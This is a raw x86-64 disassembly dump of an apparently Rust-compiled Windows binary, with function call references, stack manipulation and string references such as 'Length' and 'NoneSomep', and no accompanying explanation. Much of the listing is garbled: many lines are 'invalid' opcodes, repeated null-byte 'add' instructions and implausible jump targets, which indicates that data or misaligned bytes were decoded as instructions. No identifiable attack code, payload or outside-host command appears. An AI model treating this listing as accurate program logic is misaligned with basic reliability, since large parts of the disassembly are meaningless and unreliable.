mov byte [rdx], al
lea rax, [rsp + 0x27]
mov byte [rax], cl
lea rcx, [rsp + 0x25]
mov byte [rcx], bl
lea r9, [rsp + 0x58]
lea ecx, [rsp + 0x58]
mov qword [r9], rdx
lea rdx, [0x14001d340]
mov qword [r9 + 8], rdx
mov qword [r9 + 0x10], rax
mov qword [r9 + 0x18], rdx
mov qword [r9 + 0x20], rcx
mov qword [r9 + 0x28], rdx
lea rax, [0x14007ef80]
lea r8, [rsp + 0x28]
mov qword [r8], rax
mov eax, 3
mov qword [r8 + 8], rax
mov qword [r8 + 0x20], 0
mov qword [r8 + 0x10], r9
mov qword [r8 + 0x18], rax
jmp 0x14002480a
lea rcx, [rsp + 0x25]
mov byte [rcx], al
lea rax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x14001d340]
mov qword [rax + 8], rcx
lea rcx, [0x14007efb8]
lea r8, [rsp + 0x58]
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
mov qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
mov rcx, rsi
mov rdx, rdi
call fcn.14001b9c0
jmp 0x14002462e
add byte [rax - 0x73], cl
and al, 0x78
add al, byte [rax]
movabs rdi, 0xc1920f411af98041
stc
sbb al, byte [rcx + 0xf]
xchg edx, eax
rol dword [rcx - 0x40], 0xe1
add eax, 0x45108a45
lea ebx, [rdx - 0x41]
shl r9b, 5
mov r10b, byte [r8]
lea r11d, [r10 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
or r9b, al
or r11b, r10b
cmp r9b, r11b
jne 0x140025b2b
lea r9, [rdx - 1]
xor eax, eax
cmp r9, rax
je 0x140025b33
mov r10b, byte [rcx + rax + 1]
lea r11d, [r10 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
mov sil, byte [r8 + rax + 1]
lea edi, [rsi - 0x41]
cmp dil, 0x1a
setb bl
shl bl, 5
or r11b, r10b
or bl, sil
inc rax
cmp r11b, bl
je 0x140025aef
jmp 0x140025b36
xor eax, eax
jmp 0x140025b3c
mov rax, rdx
cmp rax, rdx
setae al
pop rbx
pop rdi
pop rsi
ret
mov eax, ebx
shl r8, 0xa
shl rdx, 4
test rax, rax
je 0x140025ba7
shl rax, 0xa
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 0x10
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
jmp 0x140025bb0
mov qword [rsp + 0x28], 0
lea rdi, [rsp + 0x38]
lea edi, [rsp + 0x38]
lea r9, [rsp + 0x20]
mov rcx, rdi
call fcn.14006304f
add byte [rax - 0x7d], cl
invalid
invalid
add byte [rax - 0x7d], cl
invalid
cmp dword [rdi], 0
mov rcx, qword [rdi + 8]
je 0x140025be5
or byte [rcx + rbx + 0x48], dh
mov eax, 1
add byte [rax], al
add byte [rax + 0x74c13948], al
je 0x140025bec
test rcx, rcx
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x140025bec
test rcx, rcx
jne 0x140025bf4
call fcn.140016fd0
mov qword [rsi + 8], rcx
mov qword [rsi], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x48]
call fcn.140072100
int3
xor ebx, ebx
test byte [rcx], bl
rol byte [rbx], 1
add byte [rax], al
add byte [rax], al
add byte [rax], al
fild dword [rbx - 0x39]
add al, 0x98
add byte [rax], al
add byte [rax], al
cmp ecx, edx
mov dword [rsp + 0x28], 8
or eax, 0x67fa8
pop rsp
and al, 0x20
or byte [rax - 0x75], cl
adc byte [r8 - 0x3f], cl
loope 0x140025cd0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x19], cl
leave
mov dword [rax + rcx], 0
push rbx
adc byte [rax - 1], cl
ret 0x8948
pop rsp
and al, 0x20
mov eax, dword [rsp + 0x28]
mov esi, dword [rax + 8]
add byte [rax], al
test esi, esi
add byte [rax - 0x77], cl
jl 0x140025e4e
or byte [rax - 0x75], cl
push rbx
adc byte [rax - 1], cl
ret 0x8948
adc byte [rax - 0x75], cl
and al, 0x28
or byte [rcx - 0x75], cl
sbb byte [rax - 0x7b], cl
sal byte [rsp + rax + 0x49], 0x8b
and byte [rcx + 0x39], cl
ror dword [rcx + 0xf], 0x47
ror dword [rcx + rdi - 8], 0x49
cmovbe eax, edi
invalid
invalid
loopne case.0x140048111.113
mov eax, esp
cmp esp, 2
jl 0x140025f98
or byte [rcx - 0x75], cl
push rsi
adc byte [rax - 1], cl
ret 0x8949
jmp 0x14002605b
add byte [rcx - 0x75], cl
sub byte [rax - 0x7d], cl
clc
mov ecx, 0x64
enter 0xffffffffffff8548, 0xffffffffffffffc0
sub byte [rax - 9], cl
loope 0x14002609d
shr edx, 2
or byte [rcx - 0x7d], cl
js 0x140026078
add dword [rax], edi
and byte [rax + 0x39], cl
ret 0xf48
add al, 0x49
mov ebx, dword [rax + 0x10]
push 0xfffffffffd834930
add dword [rcx - 0x7d], ecx
invalid
mov eax, ebx
div ebp
mov dword [rax + rcx], 1
sub byte [rax + 0x39], cl
enter 0xf48, 0x42
enter 0xffffffffffff8548, 0xffffffffffffffc0
mov ecx, dword [rdi + 0x10]
mov edx, dword [rsp + 0x30]
mov edx, dword [rdi + 0x10]
add byte [rax], al
shr eax, 2
cmova esi, eax
xor ecx, dword [rax - 0x73]
jl 0x1400263bb
and byte [rax - 0x77], cl
stc
add byte [rax], al
add byte [rax], al
mov ecx, dword [rdi + 0x10]
loop 0x140026459
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x7c], cl
adc byte [rax], cl
adc byte [rax], cl
loop 0x140026525
shr edx, 2
adc eax, 0
fcomp st(1)
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48018948], al
mov ecx, ebp
add dword [rax - 0x77], ecx
jmp 0x142eb9f2b
xor edx, edx
invalid
invalid
add cl, byte [rdi - 0x7ab70001]
test byte [rdi], 0x85
invalid
test esi, esi
jg 0x14002ccf9
invalid
invalid
add byte [rax], al
add byte [rax], 0
out 0x53, al
add al, 0
add eax, edx
shl rdx, 0x20
loop 0x14002cd44
or rax, rdx
ret
rol bl, 1
in al, dx
cwde
add byte [rax], al
add byte [rdi + rcx + 0x29], al
mov ah, 0x24
add byte [rax], 0
invalid
add byte [rax], al
add byte [rdi + rcx + 0x29], al
insb byte [rdi], dx
sub dword [rsp + 0x70], ebp
and al, 0x70
and al, 0x60
sub dword [rsp + 0x50], ebx
and al, 0x40
movaps xmmword [rsp + 0x30], xmm9
sub dword [rsp + 0x30], ecx
and al, 0x30
sub dword [rsp + 0x20], eax
and al, 0x20
jl case.0x14003f802.155
adc byte [rdi], cl
sub dword [rsp], esi
invalid
adc byte [rsi + 0xf], ah
cmp bl, bl
fisttp dword [rdx + 0x20]
invalid
invalid
cmp bl, bl
push rdx
fisttp dword [rdx + 0x20]
invalid
xor byte [rsi + 0xf], ah
cmp bl, bl
fistp dword [rdx + 0x40]
aesimc xmm4, xmmword [rdx + 0x50]
fistp dword [rdx + 0x40]
invalid
cmp bl, bl
invalid
push rax
invalid
fld xword [rdx + 0x60]
invalid
jo 0x14002cdf6
invalid
fstp xword [rdx + 0x80]
add byte [rax], al
add byte [rsi + 0x44], ah
invalid
nop
add byte [rax], al
add byte [rsi + 0x44], ah
invalid
invalid
invalid
fisttp dword [rdx + 0xa0]
add byte [rax], al
invalid
invalid
mov al, 0
add byte [rax], al
fistp dword [rdx + 0xc0]
add byte [rsi + 0x44], ah
invalid
invalid
movaps xmmword [rcx], xmm5
jg 0x14002ce39
xor byte [rsi + 0xf], ah
jg case.0x14001fcde.83
movq qword [rcx + 0x40], mm3
movdqa xmmword [rcx + 0x50], xmm4
imul esp, dword [rax + 0x66], 0x70717f0f
movq qword [rcx + 0x80], mm7
add byte [rax], al
add byte [rsi + 0x44], ah
movq qword [rcx + 0x90], mm0
mov dword [rax + 0x66000000], esp
movq qword [rcx + 0xb0], mm2
jg 0x14002cdad
mov al, 0
add byte [rax], al
add byte [rsi + 0x44], ah
movq qword [rcx + 0xb0], mm2
jg 0x14002cdad
mov al, 0
add byte [rax], al
jg 0x14002cdad
mov al, 0
add byte [rax], al
movq qword [rcx + 0xc0], mm3
add byte [rax], al
add byte [rsi + 0x44], ah
movq qword [rcx + 0xd0], mm4
movq qword [rcx + 0xd0], mm4
rol byte [rax], 1
add byte [rax], al
sub dword [rcx + 0xe0], esi
loopne 0x14002ce38
add byte [rax], al
add byte [rdi], cl
sub byte [rsp], dh
adc byte [rdi + rcx + 0x28], al
and al, 0x20
movaps xmm1, xmmword [rsp + 0x30]
xor byte [rdi + rcx + 0x28], al
movaps xmm2, xmmword [rsp + 0x40]
push rsp
and al, 0x40
movaps xmm3, xmmword [rsp + 0x50]
push rax
and al, 0x60
and al, 0x60
movaps xmm5, xmmword [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
jo 0x14002ceac
movaps xmm6, xmmword [rsp + 0x80]
mov ah, 0x24
add byte [rax], 0
invalid
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
add byte [rax], al
add bl, al
sub rsp, 0x38
in al, dx
invalid
in al, dx
cmp byte [rax - 0x77], cl
mov rax, rdx
mov rcx, qword [rcx]
invalid
invalid
invalid
mov rax, rdx
mov rcx, qword [rcx]
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
or eax, 0x52a07
mov qword [r9], rcx
lea rcx, [0x14007f898]
sub al, byte [0x18c8c1694]
and al, 0x20
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea rdx, str.Length
lea edx, str.Length
pop rax
add eax, 0x6b84100
invalid
invalid
add byte [rax], al
invalid
mov r8d, 6
mov eax, 6
add byte [rax], al
add byte [rax - 0x77], cl
shr eax, 0xe5
invalid
mov rcx, rax
call fcn.14001dd90
nop
call qword [rax + 0x38c48348]
add rsp, 0x38
invalid
cmp bl, al
sub rsp, 0x38
ret
sub esp, 0x38
mov rax, qword [rcx]
mov eax, dword [rcx]
cmp byte [rax], 0
je case.0x140024658.34
invalid
add byte [rbp + rsi + 0x48], dh
xor eax, 0x4cc0ff48
lea ecx, [rsp + 0x30]
inc rax
inc eax
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
mov dword [rcx], eax
lea rax, [0x14007f5e8]
add eax, 0x52719
add eax, 0x44894800
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, [0x140083b8c]
add eax, 0x56cb1
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
invalid
mov r8d, 4
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.14001dd90
invalid
call qword [rax + 0x38c48348]
add esp, 0x38
ret 0xa4e8
invalid
add esp, 0x38
invalid
ret
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSomep
adc eax, 0x56c83
insb byte [rdi], dx
add eax, 0x4b84100
invalid
add al, 0
invalid
mov r8d, 4
mov eax, 4
add byte [rax - 0x7d], cl
add rsp, 0x38
add esp, 0x38
invalid
cmp byte [rax - 1], cl
loopne case.default.0x14002cf3f
invalid
jmp rax
jmp rax
sub rsp, 0xf8
sub esp, 0xf8
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rcx]
invalid
invalid
mov rcx, qword [rcx]
mov ecx, dword [rcx]
mov qword [rsp + 0x30], rcx
add al, cl
invalid
add eax, ecx
jmp rax
push rdi
invalid
or ebx, ebp
mov r8b, 0xa
mov al, 0xa
mov r8b, 0x31
adc ebp, ebx
invalid
sub esi, dword [rax - 0x4fd814e9]
sbb ch, bl
invalid
mov al, 0x80
jmp 0x160e44faf
loope 0x14002cfc4
and al, 0x2f
and al, 0x38
mov dword [rax], ecx
lea ecx, [0x14001f630]
or eax, 0xffff266d
invalid
dec dword [rax - 0x77]
or byte [rax - 0x73], cl
invalid
invalid
mov dword [rax + 8], ecx
and al, 0x30
mov dword [rax + 0x10], ecx
or eax, 0x95
add byte [rax], al
add byte [rax - 0x77], cl
sbb byte [rcx + 2], dil
invalid
mov dword [rax + 0x18], ecx
add byte [rbp + rcx*4 - 0x74], cl
and al, 0x88
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rcx - 0x77], cl
or dword [rbp + 0x31], eax
ror byte [rbp - 0x77], 0x41
adc byte [rcx - 0x77], cl
invalid
adc byte [r9 - 0x77], cl
mov dword [rcx + 0x18], ecx
sbb byte [r13 - 0x77], cl
and byte [r9 - 0x48], cl
and byte [rax], al
mov dword [rcx + 0x20], eax
add byte [rax], al
or byte [rax], al
add byte [rax], al
xor byte [rcx - 0x77], cl
mov dword [rcx + 0x48], ecx
mov dword [rcx + 0x58], 1
mov dword [rcx + 0x60], 0x20
add byte [rax], al
mov byte [rcx + 0x68], al
lea edx, [0x14007f868]
add eax, 0x448d4c00
mov dword [rax], edx
and byte [rcx - 0x77], cl
sub byte [rcx - 0x77], cl
mov qword [r8 + 0x10], rax
invalid
invalid
adc byte [rcx - 0x77], cl
sbb byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub al, ch
pop rbp
jmp 0x18893d063
invalid
invalid
nop
invalid
invalid
add byte [rax], al
mov eax, dword [rcx]
or byte [rbp + rcx*4 + 5], cl
push rbx
add eax, 0x60c53
or al, 6
add byte [rcx + 0x63], cl
or al, 0x88
mov eax, dword [rax + 0x18]
add eax, 0x19ce900
add cl, ch
pushfq
add dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
add cl, ch
test byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov ecx, dword [rdx + 0x20]
frstor dword [0xd7ebd0d0]
and eax, 0x97e90005
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
invalid
invalid
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x525cf
iretd
or al, 0
add byte [rax], al
add byte [rax], al
add cl, ch
mov esi, 0x48000002
mov ecx, dword [rdx + 0x20]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
mov ebp, 0xeb000525
xor dword [rax - 0x75], ecx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14007f6c0]
lea edx, [0x14007f6c0]
and eax, 0x31eb0005
and eax, 0xb8410005
add byte [rcx - 0x48], al
adc dword [rax], eax
add byte [rax], al
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x5259f
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
test dword [0x153edd157], esp
add bl, ch
adc ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
lea edx, [0x14007f6df]
jp 0x14002d188
add eax, 0xab84100
add al, byte [rax]
add byte [rax - 0x75], cl
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14007f6e9]
lea edx, [0x14007f6e9]
mov eax, 8
add cl, ch
sbb al, 2
add byte [rax], al
sub byte [rax - 0x75], cl
lea edx, [0x14007f6f1]
add byte [rax], al
add cl, ch
jmp 0x14002d3aa
lea edx, [0x14007f6f4]
sbb dword [0xf843d20b], esp
add cl, ch
jge 0x14002d226
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x524fa
and al, 5
add byte [rcx - 0x48], al
or eax, 0xe9000000
sub dword [rcx], eax
add byte [rax], al
add byte [rax - 0x3f], cl
loope 0x14002d298
and eax, 0x1480005
enter 0xffffffffffff8d48, 0x4c
and al, 0x28
lea eax, [0x14002d3b1]
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], cl
add eax, 0x524a9
invalid
and al, 5
invalid
invalid
test eax, 0xe9000524
mov es, word [rax]
invalid
add eax, 0x8ee900
add byte [rax], al
add byte [rdi], cl
mov dh, 0x48
add cl, byte [rdx - 0x72b3fec0]
and al, 0x27
add byte [rax], al
add byte [rax - 0x3f], cl
loope 0x14002d2e3
add eax, 0x524d2
and al, 5
add byte [rax + 1], cl
enter 0xffffffffffff8d48, 0x4c
and al, 0x28
mov dword [rcx], eax
add byte [rax], al
or byte [rax - 0x77], cl
adc byte [r8 - 0x73], cl
add eax, 0xfffee669
add eax, 0x524de
add byte [rax - 0x3f], cl
loope 0x14002d32b
and al, 5
add byte [rax + 1], cl
add rax, rcx
lea rcx, [rsp + 0x28]
add eax, ecx
lea eax, [0x14001b970]
add eax, 0xfffee621
invalid
lea eax, [rsp + 0x48]
or byte [rbx], al
or byte [rbx], al
add byte [rax], al
add byte [rcx - 0x39], cl
and byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
adc byte [rcx - 0x39], cl
mov qword [r8 + 0x18], 2
invalid
invalid
and byte [rax - 0x75], cl
push rdx
sub al, ch
xor eax, 0x90fffee6
sbb byte [rax - 0x73], cl
adc eax, 0x523b3
mov bl, 0x23
invalid
invalid
mov bl, 0x23
add eax, 0x9b84100
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add esp, 0x78
invalid
lea eax, [rsp + 0x28]
mov qword [rax], rcx
mov dword [rax], ecx
mov dword [rax], ecx
lea rcx, [0x14001d340]
mov qword [rax + 8], rcx
lea rcx, [0x140083f98]
invalid
invalid
invalid
imul eax, dword [0x184901fd3], 0x24
cmp byte [rcx - 0x77], cl
or byte [rcx + 1], bh
lea r8, [rsp + 0x38]
and al, 0x38
mov qword [r8], rcx
mov ecx, 1
mov qword [r8 + 8], rcx
mov qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
or byte [rcx - 0x39], cl
and byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
adc byte [rcx - 0x77], cl
mov qword [r8 + 0x18], rcx
invalid
invalid
mov qword [r8 + 0x18], rcx
mov dword [rax + 0x18], ecx
sbb byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.14001b9c0
and byte [rax - 0x75], cl
push rdx
sub al, ch
ret
nop
add rsp, 0x68
ret
xchg esp, eax
ror dword [rbp + rcx*4 + 0x44], 9
or eax, 0x9e0d8d48
and byte [0x145901c1d], al
cmpsb byte [rsi], byte [rdi]
and byte [0x184121c24], al
add byte [rax + 0xf], cl
ror dword [rax - 0x75], 0x4a
add byte [rax + 0xf], cl
ror dword [rax - 0x75], 0x4a
cmove eax, ecx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
mov rax, qword [rcx]
cmp dword [rax], 0
invalid
je 0x14002d479
add byte [rsi + rsi + 0x48], dh
add eax, 4
add rax, 4
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x14007f608]
xor byte [rcx - 0x77], cl
add dword [rax - 0x73], ecx
add eax, 0x521b2
mov qword [rsp + 0x20], rax
lea rax, [0x140083b8c]
mov r8d, 4
mov eax, 4
mov eax, 4
add byte [rax], al
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.14001dd90
invalid
call qword [rax + 0x38c48348]
invalid
cmp bl, al
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSomep
mov r8d, 4
add rsp, 0x38
jmp rax
jmp rax
add byte [rax - 0x7d], cl
invalid
jmp rax
push 0x48d08948
mov ecx, dword [rcx]
lea rdx, [rcx + 8]
lea r8, [rsp + 0x60]
invalid
mov qword [r8], rdx
lea rdx, [0x14007f5c8]
add byte [rax - 0x77], cl
push rsp
and al, 0x50
add byte [rax - 0x77], cl
push rsp
and al, 0x50
mov dword [rsp + 0x50], edx
mov qword [rsp + 0x48], r8
mov dword [rsp + 0x48], eax
lea rdx, [0x140083b5c]
mov qword [rsp + 0x38], rdx
and al, 0x38
and al, 0x38
lea rdx, [0x14007f5a8]
mov qword [rsp + 0x30], rdx
add byte [rax - 0x77], cl
push rsp
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 9
and al, 0x40
or dword [rax], eax
add byte [rax], al
and al, 0x20
or eax, dword [rax]
add byte [rax], al
invalid
int3
and byte [rdi], cl
test byte [rcx + 0x48fffed7], ah
and byte [rdi], bl
add eax, 0x10b84100
add byte [rax], al
add cl, ch
test dword [rax], eax
add byte [rax], al
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x14007f531]
lea edx, [0x14007f531]
add eax, 0xeb000000
add byte [rax], al
add bl, ch
push 0x48
mov ecx, dword [rdx + 0x20]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, str.Length
lea edx, str.Length
add byte [rax], al
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x14007f536]
lea edx, [0x14007f536]
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add bl, ch
xor al, 0x48
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x14007f53e]
lea edx, [0x14007f53e]
sbb byte [rax], al
add byte [rax], al
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
lea rdx, [0x14007f556]
mov eax, dword [rax + 0x18]
lea edx, [0x14007f556]
retf
sbb dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
jmp rax
loopne case.0x14003f802.212
add eax, 8
lea ecx, [rsp + 0x40]
and al, 0x40
mov qword [rcx], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
add eax, 0x51edd
invalid
invalid
invalid
lea eax, [0x14007f588]
invalid
add eax, 0x44894800
and al, 0x30
invalid
xor byte [rax - 0x77], cl
and al, 0x28
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x51eaa
stosb byte [rdi], al
invalid
invalid
invalid
stosb byte [rdi], al
invalid
add eax, 0xd8d4c00
add byte [rbp + rcx*4 + 0xd], cl
in eax, 0x51
push rcx
add eax, 0x13b84100
mov eax, 0x13
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
mov rdx, rax
invalid
invalid
mov edx, eax
invalid
call qword [rax + 0x48c48348]
ret
mov rax, qword [rcx]
mov eax, dword [rcx]
lea rcx, [rsp + 0x20]
and al, 0x20
mov qword [rcx], rax
lea rax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x14001a80a]
mov qword [rax + 8], rcx
or byte [rax - 0x73], cl
or eax, 0x4c434
invalid
add al, 0
or byte [rax - 0x73], cl
or eax, 0x4c434
invalid
add al, 0
invalid
lea r8, [rsp + 0x38]
and al, 0x38
mov qword [r8], rcx
mov qword [r8 + 8], 2
mov dword [rax + 8], 2
mov dword [rax + 8], 2
add byte [rcx - 0x39], cl
and byte [rax], al
mov qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov dword [rax + 0x10], eax
add byte [rax], al
add byte [rcx - 0x77], cl
mov dword [rax + 0x10], eax
invalid
invalid
mov dword [rax + 0x10], eax
adc byte [rcx - 0x39], cl
mov qword [r8 + 0x18], 1
sbb byte [rcx], al
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
invalid
push rdx
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
sub al, ch
and edx, 0xfffffffe
call qword [rax + 0x68c48348]
add rsp, 0x68
call fcn.14001b9c0
nop
add rsp, 0x68
invalid
ret
push rbx
sub rsp, 0x60
sub esp, 0x60
sub esp, 0x60
invalid
mov rdi, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
lea rbx, [rsp + 0x28]
pop rsp
and al, 0x28
mov rcx, rbx
mov r8d, 1
mov eax, 1
fld dword [rcx - 0x48]
add dword [rax], eax
add byte [rax], al
invalid
mov eax, 1
add byte [rax], al
add al, ch
insd dword [rdi], dx
call fcn.14002d7d0
mov eax, dword [rbx]
invalid
cmp eax, 2
add byte [rax], al
add byte [rbx + 0x2f88303], cl
add eax, dword [rbx + 0x287502f8]
jne case.0x14001fcde.133
sub byte [rax - 0x75], cl
push rsp
mov rdx, qword [rsp + 0x38]
mov edx, dword [rsp + 0x38]
and al, 0x38
cmp rdx, 1
jne 0x14002d7be
invalid
add dword [rbp + 0x49], esi
mov rax, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
mov eax, dword [rsp + 0x30]
mov al, byte [rax]
add byte [rax + 0x7e894807], cl
or byte [rax - 0x39], cl
invalid
invalid
mov byte [rdi], al
mov qword [rsi + 8], rdi
invalid
mov qword [rsi + 0x10], 1
adc byte [rcx], r8b
add byte [rax], al
add byte [rax], al
invalid
invalid
add dword [rax], eax
add byte [rax], al
mov dword [rsi], 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, ch
and al, 0x8b
mov ecx, dword [rsp + 0x2c]
jmp 0x14002d7b6
mov ecx, dword [rsp + 0x2c]
movups xmm0, xmmword [rsp + 0x30]
and al, 0x30
movups xmm1, xmmword [rsp + 0x40]
adc byte [rsp + 0x40], cl
movups xmmword [rsi + 0x18], xmm1
adc dword [rsi + 0x18], ecx
sbb byte [rdi], r9b
sbb byte [rdi], cl
movups xmm1, xmmword [rsp + 0x50]
adc byte [rsp + 0x50], cl
push rax
movups xmmword [rsi + 0x28], xmm1
adc dword [rsi + 0x28], ecx
mov dword [rsi], eax
mov dword [rsi + 4], ecx
movups xmmword [rsi + 8], xmm0
adc dword [rsi + 8], eax
adc dword [rsi + 8], eax
or byte [rax - 0x7d], cl
invalid
add rsp, 0x60
pop rbx
invalid
pop rdi
pop rsi
ret
lea r8, str.pg_D__U___m_fCsBV_7g_ex__op___z_o__4QzF____GxtqxDd2m___u__N_7G___hb__j__r___VNz7Hqn__AK
lea eax, [0x14007f680]
mov ebx, 0xb900051e
add dword [rax], eax
invalid
add eax, 0x1b900
mov ecx, 1
add byte [rax], al
add byte [rax], al
add al, ch
call fcn.140073de0
adc dword [rsi + 4], esp
add al, 0
add ah, cl
int3
sbb al, 0x8b
push rdx
sbb bh, al
add dword [rcx], eax
add byte [rax], al
add byte [rcx + 0x41880451], cl
add al, 0x88
or r9b, bpl
add dword [rax], eax
add byte [rax], al
add al, 0x88
or r9b, bpl
mov eax, 0x4c000000
mov edx, dword [rdx + 8]
add byte [rax], al
add byte [rbx + rcx*4 + 0x52], cl
push rdx
or byte [rbx + 0x29491842], cl
sbb byte [rcx + 0x29], cl
sub edx, eax
ret 0x3f73
adc byte [rbp - 0x57efeb0], cl
add byte [rax], al
add byte [rax], dl
add byte [rax], al
ret 0xc149
loope 0x14002d845
add byte [rax], al
add byte [rcx - 0x76b3fbbf], cl
or byte [r8 - 0x77], cl
invalid
invalid
add byte [rax], al
adc r11b, bpl
insd dword [rdi], dx
rol dword [rcx + 1], 0xc0
ret
cmp eax, 0x10000000
adc byte [rcx + 0xf], al
xchg ebx, eax
ret
adc r11b, bpl
sub eax, 0x74db8445
invalid
je 0x14002d890
invalid
add dword [rax], eax
add byte [rax], al
add byte [rcx + rcx*4 + 0x41], al
invalid
invalid
invalid
add al, 0xc6
or byte [r10], cl
or byte [rdx], cl
cmp dword [rdi], 0
movabs rsi, 0x8000000000000000
mov rbx, qword [rbp + 0xf8]
je case.0x140012bf3.249
mov rcx, qword [rbp + 0x68]
jmp 0x1400331f5
lea rcx, [rbp + 0x60]
mov rdi, qword [rcx + 2]
mov rdx, rdi
call fcn.140044375
lea rbx, [rbp + 0x80]
mov rcx, rbx
mov rdx, rdi
call fcn.140044375
mov rax, qword [rbx - 0x20]
mov rcx, qword [rbx - 0x18]
movups xmm0, xmmword [rbx - 0x10]
invalid
invalid
movaps xmmword [rbp + 0x170], xmm0
jo 0x1400331d1
add byte [rax], al
invalid
jo 0x1400331d1
add byte [rax], al
add byte [rdi], cl
adc byte [rbx], al
movups xmm0, xmmword [rbx]
